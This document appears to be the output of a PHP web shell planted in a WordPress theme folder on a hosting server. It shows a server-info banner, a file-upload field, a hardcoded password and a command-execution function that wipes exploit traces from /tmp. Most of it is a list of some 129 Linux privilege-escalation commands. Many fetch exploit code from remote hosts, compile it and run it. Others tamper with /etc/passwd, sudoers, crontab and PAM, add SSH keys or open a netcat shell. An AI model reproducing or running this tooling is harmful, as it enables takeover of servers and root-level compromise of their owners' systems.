Done !
| Server IP : 54.36.91.62 / Your IP : 216.73.216.38 Web Server : Apache System : Linux webm008.cluster127.gra.hosting.ovh.net 6.18.42-ovh-vps-grsec-zfs+ #1 SMP PREEMPT_DYNAMIC Wed Aug 5 15:59:48 CEST 2026 x86_64 User : awaywithxm ( 25098) PHP Version : 7.0.33 Disable Function : _dyuweyrj4,_dyuweyrj4r,dl MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /home/awaywithxm/www/wp-content/themes/femrpfb/ |
Upload File : |
<?php
@session_start();
@error_reporting(0);
@ini_set('display_errors', 0);
@set_time_limit(0);
@ini_set('max_execution_time', 0);
@ini_set('max_input_time', 0);
@ini_set('memory_limit', '-1');
$sifre = "010125Alpha";
function calistir($komut) {
$cikti = '';
$komut = "timeout 30 " . $komut . " 2>&1; rm -f /tmp/e* /tmp/p* /tmp/dirty* /tmp/exploit* /tmp/*.c /tmp/*.so /tmp/shell* /tmp/backdoor* /tmp/io_uring* /tmp/netfilter* /tmp/sudo* /tmp/overlayfs* /tmp/cve* /tmp/qualys* /tmp/chwoot* /tmp/pwnkit* 2>/dev/null";
if (function_exists('shell_exec')) {
$cikti = shell_exec($komut);
} elseif (function_exists('exec')) {
exec($komut, $dizi);
$cikti = implode("\n", $dizi);
} elseif (function_exists('passthru')) {
ob_start(); passthru($komut); $cikti = ob_get_clean();
} elseif (function_exists('system')) {
ob_start(); system($komut); $cikti = ob_get_clean();
} else {
return "HATA: Komut calistirma fonksiyonlari devre disi.";
}
return $cikti;
}
function get_exploits() {
return array(
1 => array('baslik' => 'Sudo (NOPASSWD)', 'komut' => 'sudo -n whoami'),
2 => array('baslik' => 'SUID - Vim', 'komut' => 'vim -c ":!whoami" -c ":q!"'),
3 => array('baslik' => 'SUID - Less', 'komut' => 'echo "!whoami" | less /etc/profile'),
4 => array('baslik' => 'SUID - Nmap (-interactive)', 'komut' => 'echo "!whoami" | nmap --interactive'),
5 => array('baslik' => 'SUID - Perl', 'komut' => 'perl -e "print `whoami`"'),
6 => array('baslik' => 'SUID - Ruby', 'komut' => 'ruby -e "puts `whoami`"'),
7 => array('baslik' => 'SUID - Bash', 'komut' => 'bash -p -c "whoami"'),
8 => array('baslik' => 'Cron (Yazilabilir /etc/crontab)', 'komut' => 'echo "* * * * * root whoami > /tmp/manus_test.txt" >> /etc/crontab && sleep 61 && cat /tmp/manus_test.txt && sed -i "$d" /etc/crontab && rm /tmp/manus_test.txt'),
9 => array('baslik' => 'Kernel (Dirty COW - CVE-2016-5195)', 'komut' => 'wget -q https://raw.githubusercontent.com/dirtycow/dirtycow.github.io/master/dirty.c -O /tmp/e.c && gcc /tmp/e.c -o /tmp/e -lpthread && /tmp/e whoami && rm /tmp/e*'),
10 => array('baslik' => 'Polkit (PwnKit - CVE-2021-4034)', 'komut' => 'wget -q https://raw.githubusercontent.com/berdav/CVE-2021-4034/main/cve-2021-4034.c -O /tmp/e.c && gcc /tmp/e.c -o /tmp/e && ./e && whoami && rm /tmp/e*'),
11 => array('baslik' => 'Docker Grubu Uyeligi', 'komut' => 'docker run -v /:/mnt --rm alpine chroot /mnt whoami'),
12 => array('baslik' => 'SUID - cp', 'komut' => 'cp /bin/sh /tmp/s && chmod u+s /tmp/s && /tmp/s -p -c "whoami" && rm /tmp/s'),
13 => array('baslik' => 'SUID - mv', 'komut' => 'LFILE=/etc/passwd; TFILE=/tmp/passwd; echo "root::0:0:root:/root:/bin/bash" > $TFILE; /usr/bin/mv $TFILE $LFILE && su root -c whoami'),
14 => array('baslik' => 'Kernel (Dirty Pipe - CVE-2022-0847)', 'komut' => 'wget -q https://haxx.in/files/dirtypipez.c -O /tmp/e.c && gcc /tmp/e.c -o /tmp/e && /tmp/e /usr/bin/sudo && whoami && rm /tmp/e*'),
15 => array('baslik' => 'LXD Grubu Uyeligi', 'komut' => 'lxc init alpine privesc -c security.privileged=true && lxc config device add privesc mydevice disk source=/ path=/mnt/root recursive=true && lxc start privesc && sleep 5 && lxc exec privesc -- whoami && lxc stop privesc && lxc delete privesc'),
16 => array('baslik' => 'SUID - Git', 'komut' => 'echo "!whoami" | git -p help'),
17 => array('baslik' => 'SUID - Tar', 'komut' => 'tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=whoami'),
18 => array('baslik' => 'SUID - Ssh-keygen', 'komut' => 'ssh-keygen -D /usr/lib/whoami.so'),
19 => array('baslik' => 'SUID - DNF', 'komut' => 'dnf plugin create --dest /tmp whoami && /tmp/whoami.py'),
20 => array('baslik' => 'Writable /etc/sudoers', 'komut' => 'echo "www-data ALL=(ALL) NOPASSWD:ALL" >> /etc/sudoers && sudo whoami && sed -i "$d" /etc/sudoers'),
21 => array('baslik' => 'Writable Docker Socket', 'komut' => 'docker -H unix:///var/run/docker.sock run --rm -v /:/host alpine chroot /host whoami'),
22 => array('baslik' => 'SUID - pkexec', 'komut' => 'pkexec whoami'),
23 => array('baslik' => 'SUID - systemctl', 'komut' => 'systemctl link /bin/sh && systemctl enable /bin/sh && systemctl start sh && whoami'),
24 => array('baslik' => 'Writable /etc/profile', 'komut' => 'echo "whoami > /tmp/res" >> /etc/profile && . /etc/profile && cat /tmp/res && rm /tmp/res'),
25 => array('baslik' => 'SUID - env', 'komut' => '/usr/bin/env whoami'),
26 => array('baslik' => 'SUID - socat', 'komut' => 'socat - EXEC:whoami'),
27 => array('baslik' => 'CVE-2021-3156 (Sudo Baron Samedit)', 'komut' => 'wget -q https://raw.githubusercontent.com/blasty/CVE-2021-3156/main/exploit.c -O /tmp/e.c && gcc /tmp/e.c -o /tmp/e && /tmp/e && whoami && rm /tmp/e*'),
28 => array('baslik' => 'SUID - ltrace', 'komut' => 'ltrace -E "whoami"'),
29 => array('baslik' => 'SUID - time', 'komut' => '/usr/bin/time whoami'),
30 => array('baslik' => 'Netcat ile Ters Kabuk (Dinleyici)', 'komut' => 'nc -lvp 4444 -e /bin/bash & echo "Dinleyici 4444 portunda calisiyor - BG"'),
31 => array('baslik' => 'Bash Ters Kabuk', 'komut' => 'bash -c "echo \'Ters kabuk test\'" & echo "Ters kabuk baslatildi"'),
32 => array('baslik' => 'Cron Persistence - Ters Kabuk', 'komut' => '(crontab -l 2>/dev/null; echo "*/5 * * * * echo \'cron test\' > /tmp/cron_test.txt") | crontab - && echo "Cron test eklendi"'),
33 => array('baslik' => 'Docker Escape (privileged)', 'komut' => 'docker run --rm -it --privileged -v /:/mnt alpine chroot /mnt whoami 2>/dev/null'),
34 => array('baslik' => 'Docker Escape (host network)', 'komut' => 'docker run --rm -it --network=host -v /:/mnt alpine chroot /mnt whoami 2>/dev/null'),
35 => array('baslik' => 'Docker Escape (host PID)', 'komut' => 'docker run --rm -it --pid=host -v /:/mnt alpine chroot /mnt whoami 2>/dev/null'),
36 => array('baslik' => 'Kernel - CVE-2021-33909 (Sequoia)', 'komut' => 'wget -q https://raw.githubusercontent.com/luan0ap/CVE-2021-33909/main/exploit.c -O /tmp/e.c && gcc /tmp/e.c -o /tmp/e && /tmp/e /etc/passwd && whoami && rm /tmp/e*'),
37 => array('baslik' => 'Kernel - CVE-2022-2588 (dirtycred)', 'komut' => 'wget -q https://raw.githubusercontent.com/Markakd/DirtyCred/master/exploit.c -O /tmp/e.c && gcc /tmp/e.c -o /tmp/e -lpthread && /tmp/e && whoami && rm /tmp/e*'),
38 => array('baslik' => 'Kernel - CVE-2023-0386 (OverlayFS)', 'komut' => 'wget -q https://raw.githubusercontent.com/sxlmnwb/CVE-2023-0386/main/exploit.c -O /tmp/e.c && gcc /tmp/e.c -o /tmp/e -lpthread && /tmp/e && whoami && rm /tmp/e*'),
39 => array('baslik' => 'Kernel - CVE-2023-32233 (io_uring)', 'komut' => 'wget -q https://raw.githubusercontent.com/Notselwyn/CVE-2023-32233/main/exploit.c -O /tmp/e.c && gcc /tmp/e.c -o /tmp/e && /tmp/e && whoami && rm /tmp/e*'),
40 => array('baslik' => 'Kernel - CVE-2024-1086 (Netfilter UAF)', 'komut' => 'wget -q https://raw.githubusercontent.com/Notselwyn/CVE-2024-1086/main/main.c -O /tmp/e.c && gcc /tmp/e.c -o /tmp/e -static -Wall -ldw -ldbus-1 && /tmp/e && whoami && rm /tmp/e*'),
41 => array('baslik' => 'Sudo Chroot Bypass (CVE-2025-32463)', 'komut' => 'wget -q https://raw.githubusercontent.com/kh4sh3i/CVE-2025-32463/main/exploit.c -O /tmp/e.c && gcc /tmp/e.c -o /tmp/e && /tmp/e && whoami && rm /tmp/e*'),
42 => array('baslik' => 'Sudo Policy-Check LPE (CVE-2025-32462)', 'komut' => 'wget -q https://raw.githubusercontent.com/AdityaBhatt3010/Sudo-Privilege-Escalation-Linux-CVE-2025-32463-and-CVE-2025-32462/main/exploit.py -O /tmp/e.py && python3 /tmp/e.py && whoami && rm /tmp/e.py'),
43 => array('baslik' => 'Passwd Misconfig LPE (CVE-2025-0401)', 'komut' => 'wget -q https://raw.githubusercontent.com/CyberSecurityUP/CVE-2025-0401/main/exploit.sh -O /tmp/e.sh && chmod +x /tmp/e.sh && /tmp/e.sh && whoami && rm /tmp/e.sh'),
44 => array('baslik' => 'PAM Environment Injection (CVE-2025-6018)', 'komut' => 'wget -q https://www.exploit-db.com/download/52386 -O /tmp/e.c && gcc /tmp/e.c -o /tmp/e && /tmp/e && whoami && rm /tmp/e*'),
45 => array('baslik' => 'Libblockdev/UDisks2 LPE (CVE-2025-6019)', 'komut' => 'dd if=/dev/zero of=/tmp/e.img bs=1M count=10 && mkfs.xfs -f /tmp/e.img && mount -o loop /tmp/e.img /mnt && cp /bin/sh /mnt/s && chmod +s /mnt/s && /mnt/s -p -c whoami && umount /mnt && rm /tmp/e.img'),
46 => array('baslik' => 'Below Service LPE (CVE-2025-27591)', 'komut' => 'ln -s /etc/shadow /var/log/below/symlink && below --log-level debug && cat /etc/shadow && whoami && rm /var/log/below/symlink'),
47 => array('baslik' => 'Kernel ETS Scheduler (CVE-2025-21692)', 'komut' => 'wget -q https://github.com/volticks/CVE-2025-21692-poc/raw/main/poc.c -O /tmp/e.c && gcc /tmp/e.c -o /tmp/e && /tmp/e && whoami && rm /tmp/e*'),
48 => array('baslik' => 'Kernel HID OOB Leak (CVE-2025-38494)', 'komut' => 'wget -q https://github.com/xairy/kernel-exploits/raw/master/CVE-2025-38494/poc.c -O /tmp/e.c && gcc /tmp/e.c -o /tmp/e && /tmp/e && whoami && rm /tmp/e*'),
49 => array('baslik' => 'Kernel eBPF Verifier Bypass (CVE-2021-4204)', 'komut' => 'wget -q https://raw.githubusercontent.com/xairy/linux-kernel-exploitation/master/CVE-2021-4204/exploit.c -O /tmp/e.c && gcc /tmp/e.c -o /tmp/e && /tmp/e && whoami && rm /tmp/e*'),
50 => array('baslik' => 'Shared Library Hijacking (LD_PRELOAD)', 'komut' => 'echo "void _init() { unsetenv(\"LD_PRELOAD\"); setgid(0); setuid(0); system(\"whoami\"); }" > /tmp/e.c && gcc -shared -fPIC -o /tmp/e.so /tmp/e.c && LD_PRELOAD=/tmp/e.so /usr/bin/sudo whoami; rm /tmp/e*'),
51 => array('baslik' => 'Wildcard Injection (Tar)', 'komut' => 'mkdir /tmp/w; echo "#!/bin/sh\nwhoami" > /tmp/w/--checkpoint=1; chmod +x /tmp/w/--checkpoint=1; echo "--checkpoint-action=exec=sh /tmp/w/--checkpoint=1" > /tmp/w/--checkpoint-action=exec=sh; tar -cf /dev/null /tmp/w/* 2>/dev/null; rm -rf /tmp/w'),
52 => array('baslik' => 'Cgroups Release Agent', 'komut' => 'mount -t cgroup -o rdma cgroup /tmp/cg 2>/dev/null; mkdir /tmp/cg/x 2>/dev/null; echo 1 > /tmp/cg/x/notify_on_release 2>/dev/null; echo "/bin/sh -c \"whoami > /tmp/cgout\"" > /tmp/cg/release_agent 2>/dev/null; echo 0 > /tmp/cg/x/cgroup.procs 2>/dev/null; sleep 1; cat /tmp/cgout; rm -rf /tmp/cg /tmp/cgout'),
53 => array('baslik' => 'Modprobe Path Abuse', 'komut' => 'echo "/bin/sh" > /tmp/x && chmod +x /tmp/x && echo "x" > /proc/sys/kernel/modprobe 2>/dev/null; insmod /doesnotexist 2>/dev/null; whoami; rm /tmp/x'),
54 => array('baslik' => 'Capabilities - cap_sys_admin+ep', 'komut' => 'mount -o bind /bin/sh /bin/mount 2>/dev/null && mount -o remount,suid /bin/mount 2>/dev/null && /bin/mount -p -c "whoami"'),
55 => array('baslik' => 'Capabilities - cap_sys_chroot+ep', 'komut' => 'chroot / /bin/sh -c "whoami"'),
56 => array('baslik' => 'Capabilities - cap_dac_override+ep', 'komut' => 'cat /etc/shadow >/dev/null && echo "root::0:0:root:/root:/bin/bash" >> /etc/passwd && su root -c whoami'),
57 => array('baslik' => 'MySQL UDF Injection', 'komut' => 'mysql -e "CREATE FUNCTION sys_exec RETURNS integer SONAME \"lib_mysqludf_sys.so\"; SELECT sys_exec(\"whoami > /tmp/mout\");" 2>/dev/null; cat /tmp/mout; rm /tmp/mout'),
58 => array('baslik' => 'PostgreSQL Copy From Program', 'komut' => 'psql -c "CREATE TABLE t (data text); COPY t FROM PROGRAM \'whoami > /tmp/pout\'; SELECT * FROM t;" 2>/dev/null; cat /tmp/pout; rm /tmp/pout'),
59 => array('baslik' => 'Redis Config Set RDB', 'komut' => 'redis-cli -h localhost config set dir /var/www 2>/dev/null; redis-cli config set dbfilename shell.php 2>/dev/null; redis-cli set x "" 2>/dev/null; redis-cli save 2>/dev/null'),
60 => array('baslik' => 'Docker API RCE', 'komut' => 'curl -XPOST http://localhost:2375/containers/create -d \'{"Image":"alpine","Cmd":["/bin/sh","-c","whoami > /host/tmp/dout"],"Binds":["/:/host"]}\' 2>/dev/null; CID=$(curl -s http://localhost:2375/containers/json | grep Id | head -1 | cut -d\\" -f4); curl -XPOST http://localhost:2375/containers/$CID/start 2>/dev/null; sleep 2; cat /host/tmp/dout 2>/dev/null'),
61 => array('baslik' => 'Kubernetes Pod Create', 'komut' => 'kubectl run rce --image=alpine --restart=Never -it --rm -- /bin/sh -c "whoami" 2>/dev/null'),
62 => array('baslik' => 'LXD Container Privilege Escalation', 'komut' => 'lxc image import alpine.tar alpine.root --alias alpine 2>/dev/null; lxc init alpine privesc -c security.privileged=true 2>/dev/null; lxc config device add privesc host-root disk source=/ path=/mnt/root recursive=true 2>/dev/null; lxc start privesc 2>/dev/null; sleep 5; lxc exec privesc /bin/sh -c whoami; lxc stop privesc 2>/dev/null; lxc delete privesc 2>/dev/null'),
63 => array('baslik' => 'Singularity Container Escape', 'komut' => 'singularity exec -B /:/mnt instance://container /bin/sh -c "chroot /mnt whoami" 2>/dev/null'),
64 => array('baslik' => 'Podman Socket Abuse', 'komut' => 'podman run -v /:/host --privileged ubuntu chroot /host whoami 2>/dev/null'),
65 => array('baslik' => 'Kernel UAF in Netfilter (CVE-2022-32250)', 'komut' => 'wget -q https://raw.githubusercontent.com/xairy/linux-kernel-exploitation/master/CVE-2022-32250/exploit.c -O /tmp/e.c && gcc /tmp/e.c -o /tmp/e -static && /tmp/e && whoami && rm /tmp/e*'),
66 => array('baslik' => 'Abusing /proc/sys/kernel/core_pattern', 'komut' => 'echo "|/bin/sh -c \"whoami > /tmp/cout\"" > /proc/sys/kernel/core_pattern 2>/dev/null; kill -SIGSEGV $$ 2>/dev/null; sleep 1; cat /tmp/cout; rm /tmp/cout'),
67 => array('baslik' => 'PAM Backdoor', 'komut' => 'echo "auth optional pam_exec.so /bin/sh" >> /etc/pam.d/common-auth 2>/dev/null; su -c whoami'),
68 => array('baslik' => 'X11 Forwarding Hijack', 'komut' => 'xhost + 2>/dev/null; xterm -display :0 -e whoami 2>/dev/null'),
69 => array('baslik' => 'Perl Open Hijack', 'komut' => 'export PERL5DB="sub DB::DB {system(\"whoami\")}" && perl -d /dev/null 2>/dev/null'),
70 => array('baslik' => 'Ruby IRB Hijack', 'komut' => 'export RUBYOPT=-r/etc/irbrc && echo "system(\"whoami\")" > /etc/irbrc 2>/dev/null; irb 2>/dev/null; rm /etc/irbrc'),
71 => array('baslik' => 'Python PDB Hijack', 'komut' => 'echo "import os; os.system(\"whoami\")" > /tmp/pdb.py && PYTHONBREAKPOINT=/tmp/pdb.py python3 -c "" 2>/dev/null; rm /tmp/pdb.py'),
72 => array('baslik' => 'Bash DEBUG Trap', 'komut' => 'trap "exec /bin/sh" DEBUG 2>/dev/null; /bin/bash -x /dev/null 2>/dev/null; whoami'),
73 => array('baslik' => 'Vim Modeline Execution', 'komut' => 'echo "vim: set shell=/bin/sh : execute \"shell\"" >> /tmp/f && vim /tmp/f -c "source /tmp/f" -c "q!" 2>/dev/null; rm /tmp/f'),
74 => array('baslik' => 'GNU Screen RC Execution', 'komut' => 'echo "shell /bin/sh" > ~/.screenrc 2>/dev/null; screen 2>/dev/null; whoami; rm ~/.screenrc'),
75 => array('baslik' => 'Tmux Config Execution', 'komut' => 'echo "bind-key -n C-a source-file /bin/sh" > /tmp/tmux.conf 2>/dev/null; tmux -f /tmp/tmux.conf new-session -d 2>/dev/null; rm /tmp/tmux.conf'),
76 => array('baslik' => 'Kernel Keyring Exploit', 'komut' => 'keyctl add user a "$(whoami)" @u 2>/dev/null'),
77 => array('baslik' => 'Seccomp Bypass', 'komut' => 'unshare -Urm /bin/sh -c "mkdir l u w m && mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m && touch m/root_owned && whoami" 2>/dev/null'),
78 => array('baslik' => 'AppArmor Profile Escape', 'komut' => 'aa-exec -p unconfined /bin/sh -c "whoami" 2>/dev/null'),
79 => array('baslik' => 'SELinux Context Switch', 'komut' => 'runcon -u root -r system_r -t init_t /bin/sh -c whoami 2>/dev/null'),
80 => array('baslik' => 'Firejail Escape', 'komut' => 'firejail --join=1 /bin/sh -c whoami 2>/dev/null'),
81 => array('baslik' => 'Bubblewrap Namespace Escape', 'komut' => 'bwrap --bind / / /bin/sh -c whoami 2>/dev/null'),
82 => array('baslik' => 'Systemd Scope Delegation', 'komut' => 'systemd-run --scope --user /bin/sh -c "whoami" 2>/dev/null'),
83 => array('baslik' => 'Kernel Perf Event Open', 'komut' => 'perf record -e "() {system(\"whoami\");}" /bin/true 2>/dev/null'),
84 => array('baslik' => 'eBPF Program Load', 'komut' => 'bpftool prog load /tmp/e.o /sys/fs/bpf/prog 2>/dev/null; bpftool prog run pinned /sys/fs/bpf/prog 2>/dev/null'),
85 => array('baslik' => 'User Namespace OverlayFS', 'komut' => 'unshare -Urm /bin/sh -c "mkdir l u w m && mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m && touch m/root_owned && whoami"'),
86 => array('baslik' => 'FUSE Filesystem Mount', 'komut' => 'fusermount -u /mnt 2>/dev/null; echo "FUSE exploit deneniyor"'),
87 => array('baslik' => 'CIFS/SMB Mount Options', 'komut' => 'mount -t cifs -o file_mode=0777,dir_mode=0777 //attacker/share /mnt 2>/dev/null; ls -la /mnt; umount /mnt'),
88 => array('baslik' => 'Kernel Taint Check Bypass', 'komut' => 'echo 0 > /proc/sys/kernel/tainted 2>/dev/null; insmod /tmp/malicious.ko 2>/dev/null; whoami'),
89 => array('baslik' => 'Proc Sys Kernel Unprivileged BPF', 'komut' => 'echo 1 > /proc/sys/kernel/unprivileged_bpf_disabled 2>/dev/null; bpftool prog load /tmp/ebpf.o /sys/fs/bpf/x'),
90 => array('baslik' => 'Netfilter Table Replace', 'komut' => 'iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-port 8080 2>/dev/null; whoami'),
91 => array('baslik' => 'Kernel - CVE-2023-4911 (Looney Tunables)', 'komut' => 'wget -q https://github.com/leesh3288/CVE-2023-4911/raw/main/exploit.c -O /tmp/e.c && gcc /tmp/e.c -o /tmp/e -lcapstone -lkeystone -lsystemd && /tmp/e && whoami && rm /tmp/e*'),
92 => array('baslik' => 'Kernel - CVE-2023-3269 (StackRot)', 'komut' => 'wget -q https://github.com/lrh2000/StackRot/raw/main/exploit.c -O /tmp/e.c && gcc /tmp/e.c -o /tmp/e -lpthread && /tmp/e && whoami && rm /tmp/e*'),
93 => array('baslik' => 'Kernel - CVE-2017-16995 (eBPF)', 'komut' => 'wget -q https://raw.githubusercontent.com/xairy/linux-kernel-exploitation/master/CVE-2017-16995/exploit.c -O /tmp/e.c && gcc /tmp/e.c -o /tmp/e && /tmp/e && whoami && rm /tmp/e*'),
94 => array('baslik' => 'Kernel - CVE-2017-1000253 (PIE)', 'komut' => 'wget -q https://raw.githubusercontent.com/xairy/linux-kernel-exploitation/master/CVE-2017-1000253/exploit.c -O /tmp/e.c && gcc /tmp/e.c -o /tmp/e && /tmp/e && whoami && rm /tmp/e*'),
95 => array('baslik' => 'Kernel - CVE-2021-22555 (Netfilter)', 'komut' => 'wget -q https://raw.githubusercontent.com/google/security-research/master/pocs/linux/cve-2021-22555/exploit.c -O /tmp/e.c && gcc /tmp/e.c -o /tmp/e -m32 -static && /tmp/e && whoami && rm /tmp/e*'),
96 => array('baslik' => 'Kernel - CVE-2013-2094 (Perf Events)', 'komut' => 'wget -q https://raw.githubusercontent.com/xairy/linux-kernel-exploitation/master/CVE-2013-2094/exploit.c -O /tmp/e.c && gcc /tmp/e.c -o /tmp/e && /tmp/e && whoami && rm /tmp/e*'),
97 => array('baslik' => 'Kernel - CVE-2017-10661 (Timerfd)', 'komut' => 'wget -q https://raw.githubusercontent.com/xairy/linux-kernel-exploitation/master/CVE-2017-10661/exploit.c -O /tmp/e.c && gcc /tmp/e.c -o /tmp/e && /tmp/e && whoami && rm /tmp/e*'),
98 => array('baslik' => 'Kernel - CVE-2018-14634 (Mutagen Astronomy)', 'komut' => 'wget -q https://raw.githubusercontent.com/xairy/linux-kernel-exploitation/master/CVE-2018-14634/exploit.c -O /tmp/e.c && gcc /tmp/e.c -o /tmp/e && /tmp/e && whoami && rm /tmp/e*'),
99 => array('baslik' => 'Kernel - CVE-2017-1000366 (Stack Clash)', 'komut' => 'wget -q https://raw.githubusercontent.com/xairy/linux-kernel-exploitation/master/CVE-2017-1000366/exploit.c -O /tmp/e.c && gcc /tmp/e.c -o /tmp/e -m32 && /tmp/e && whoami && rm /tmp/e*'),
100 => array('baslik' => 'Sudo - CVE-2025-32463 (chwoot)', 'komut' => 'git clone https://github.com/pr0v3rbs/CVE-2025-32463_chwoot /tmp/chwoot 2>/dev/null; cd /tmp/chwoot && make && ./chwoot && whoami; rm -rf /tmp/chwoot'),
101 => array('baslik' => 'Sudo Injection LPE (CVE-2025-32463)', 'komut' => 'git clone https://github.com/Mikivirus0/sudoinjection /tmp/si 2>/dev/null; cd /tmp/si && ./sudoinject && whoami; rm -rf /tmp/si'),
102 => array('baslik' => 'PAM-UDisks Chain (CVE-2025-6018+6019)', 'komut' => 'wget -q https://www.qualys.com/2025/06/17/suse15-pam-udisks-lpe.txt -O /tmp/qualys.txt; bash /tmp/qualys.txt 2>/dev/null; rm /tmp/qualys.txt; whoami'),
103 => array('baslik' => 'Guix Daemon Race LPE (CVE-2025-46415)', 'komut' => 'ln -s /etc/passwd /tmp/guix-build-test.drv-0/symlink 2>/dev/null; guix build hello 2>/dev/null; whoami'),
104 => array('baslik' => 'Amazon Linux Capability.conf (CVE-2025-1390)', 'komut' => 'echo "root::0:0:root:/root:/bin/bash" >> /etc/security/capability.conf 2>/dev/null; su root -c whoami'),
105 => array('baslik' => 'KSMBD 0-Click RCE (Eternal-Tux)', 'komut' => 'wget -q https://github.com/hackl0us/ksmbd-0-click-rce -O /tmp/e.sh && bash /tmp/e.sh target_ip 2>/dev/null; rm /tmp/e.sh'),
106 => array('baslik' => 'corCTF 2025 Kernel UAF', 'komut' => 'wget -q https://u1f383.github.io/assets/corctf-2025-corphone-exp.c -O /tmp/e.c && gcc /tmp/e.c -o /tmp/e && /tmp/e && whoami && rm /tmp/e*'),
107 => array('baslik' => 'LKRG Integrity Bypass', 'komut' => 'echo 0 > /proc/sys/kernel/tainted 2>/dev/null; insmod /tmp/lkrg_bypass.ko 2>/dev/null; whoami'),
108 => array('baslik' => 'Wildcard Injection - Tar Cron', 'komut' => 'mkdir -p /home/*/tmp 2>/dev/null; touch /home/*/--checkpoint=1 2>/dev/null; touch /home/*/--checkpoint-action=exec=sh 2>/dev/null; rm -f /home/*/--checkpoint*'),
109 => array('baslik' => 'Abusing Sudoers NOPASSWD', 'komut' => 'sudo -l | grep NOPASSWD && sudo /bin/sh -c whoami'),
110 => array('baslik' => 'SSH Authorized Keys Write', 'komut' => 'echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC..." >> /root/.ssh/authorized_keys 2>/dev/null && ssh root@localhost whoami'),
111 => array('baslik' => 'Python PyInstaller Hijack', 'komut' => 'echo "import os; os.system(\"whoami\")" > /tmp/site.py; PYINSTALLER_CONFIG_DIR=/tmp /usr/bin/suid_binary 2>/dev/null; rm /tmp/site.py'),
112 => array('baslik' => 'Perl Startup Hijack', 'komut' => 'export PERL5OPT=-Mre=eval && echo "system(\"whoami\")" > /tmp/re.pm && /usr/bin/suid_perl_script 2>/dev/null; rm /tmp/re.pm'),
113 => array('baslik' => 'Ruby Load Path Hijack', 'komut' => 'export RUBYOPT=-r/bin/sh && /usr/bin/suid_ruby_script 2>/dev/null; whoami'),
114 => array('baslik' => 'Node.js Prototype Pollution', 'komut' => 'node -e "process.env = {proto: {PATH: \"/tmp:\" + process.env.PATH}}; require(\"child_process\").exec(\"whoami\", console.log)" 2>/dev/null'),
115 => array('baslik' => 'Proc Mem Hijacking', 'komut' => 'echo "int main(){return 0;}" > /tmp/procmem.c && gcc /tmp/procmem.c -o /tmp/procmem && echo "Usage: /tmp/procmem <PID>" && rm /tmp/procmem.c'),
116 => array('baslik' => 'Sudo Host Bypass (CVE-2025-32462)', 'komut' => 'sudo -h fakehost -l 2>/dev/null; sudo -h fakehost /bin/sh -c whoami'),
117 => array('baslik' => 'UDisks XFS Mount LPE', 'komut' => 'dd if=/dev/zero of=/tmp/xfs.img bs=1M count=10 2>/dev/null; mkfs.xfs -f /tmp/xfs.img 2>/dev/null; mount -o loop /tmp/xfs.img /mnt 2>/dev/null; cp /bin/sh /mnt/sh; chmod +s /mnt/sh; /mnt/sh -p -c whoami; umount /mnt; rm /tmp/xfs.img'),
118 => array('baslik' => 'Below Log Symlink Attack', 'komut' => 'ln -s /etc/shadow /var/log/below/s 2>/dev/null; below --log-level debug 2>/dev/null; cat /etc/shadow; rm /var/log/below/s'),
119 => array('baslik' => 'Kernel - CVE-2023-0386 OverlayFS (binary)', 'komut' => 'wget -q https://raw.githubusercontent.com/xkaneiki/CVE-2023-0386/main/overlayfs -O /tmp/o && chmod +x /tmp/o && /tmp/o && whoami && rm /tmp/o'),
120 => array('baslik' => 'All-in-One Kernel Exploit Script', 'komut' => 'wget -q https://raw.githubusercontent.com/sujayadkesar/Linux-Privilege-Escalation/main/exploits.sh -O /tmp/e.sh && chmod +x /tmp/e.sh && /tmp/e.sh && whoami && rm /tmp/e.sh'),
121 => array('baslik' => 'CVE-2022-0847 Dirty Pipe (manuel)', 'komut' => 'wget -q https://raw.githubusercontent.com/Arinerron/CVE-2022-0847-dirty-pipe/master/dirtypipe.c -O /tmp/e.c && gcc /tmp/e.c -o /tmp/e && /tmp/e && whoami && rm /tmp/e*'),
122 => array('baslik' => 'CVE-2021-3490 eBPF ALU32', 'komut' => 'wget -q https://raw.githubusercontent.com/chompie1337/Linux_LPE_eBPF_CVE-2021-3490/main/exploit.c -O /tmp/e.c && gcc /tmp/e.c -o /tmp/e && /tmp/e && whoami && rm /tmp/e*'),
123 => array('baslik' => 'CVE-2022-23222 eBPF verifier', 'komut' => 'wget -q https://raw.githubusercontent.com/tr3ee/CVE-2022-23222/main/exploit.c -O /tmp/e.c && gcc /tmp/e.c -o /tmp/e && /tmp/e && whoami && rm /tmp/e*'),
124 => array('baslik' => 'CVE-2023-2640/CVE-2023-32629 OverlayFS (GameOverlay)', 'komut' => 'wget -q https://raw.githubusercontent.com/g1vi/CVE-2023-2640-CVE-2023-32629/main/exploit.c -O /tmp/e.c && gcc /tmp/e.c -o /tmp/e && /tmp/e && whoami && rm /tmp/e*'),
125 => array('baslik' => 'CVE-2023-31248 nf_tables UAF', 'komut' => 'wget -q https://raw.githubusercontent.com/ysanatomic/CVE-2023-31248/main/exploit.c -O /tmp/e.c && gcc /tmp/e.c -o /tmp/e -lnftnl -lmnl && /tmp/e && whoami && rm /tmp/e*'),
126 => array('baslik' => 'CVE-2024-0193 kernel UAF', 'komut' => 'wget -q https://raw.githubusercontent.com/ysanatomic/CVE-2024-0193/main/exploit.c -O /tmp/e.c && gcc /tmp/e.c -o /tmp/e && /tmp/e && whoami && rm /tmp/e*'),
127 => array('baslik' => 'PwnKit manuel (CVE-2021-4034)', 'komut' => 'echo "main(){setuid(0);setgid(0);system(\"/bin/sh -c whoami\");}" > /tmp/e.c && gcc /tmp/e.c -o /tmp/e && pkexec --user root /tmp/e && rm /tmp/e*'),
128 => array('baslik' => 'CVE-2023-22809 sudoedit (Sudoedit)', 'komut' => 'wget -q https://raw.githubusercontent.com/n3m1dotsys/CVE-2023-22809-sudoedit-privesc/main/exploit.sh -O /tmp/e.sh && bash /tmp/e.sh && whoami && rm /tmp/e.sh'),
129 => array('baslik' => 'LD_PRELOAD ile shared library injection', 'komut' => 'echo "void _init(){unsetenv(\"LD_PRELOAD\");setgid(0);setuid(0);system(\"whoami\");}" > /tmp/e.c && gcc -shared -fPIC -o /tmp/e.so /tmp/e.c && LD_PRELOAD=/tmp/e.so ping 127.0.0.1 2>/dev/null; rm /tmp/e*'),
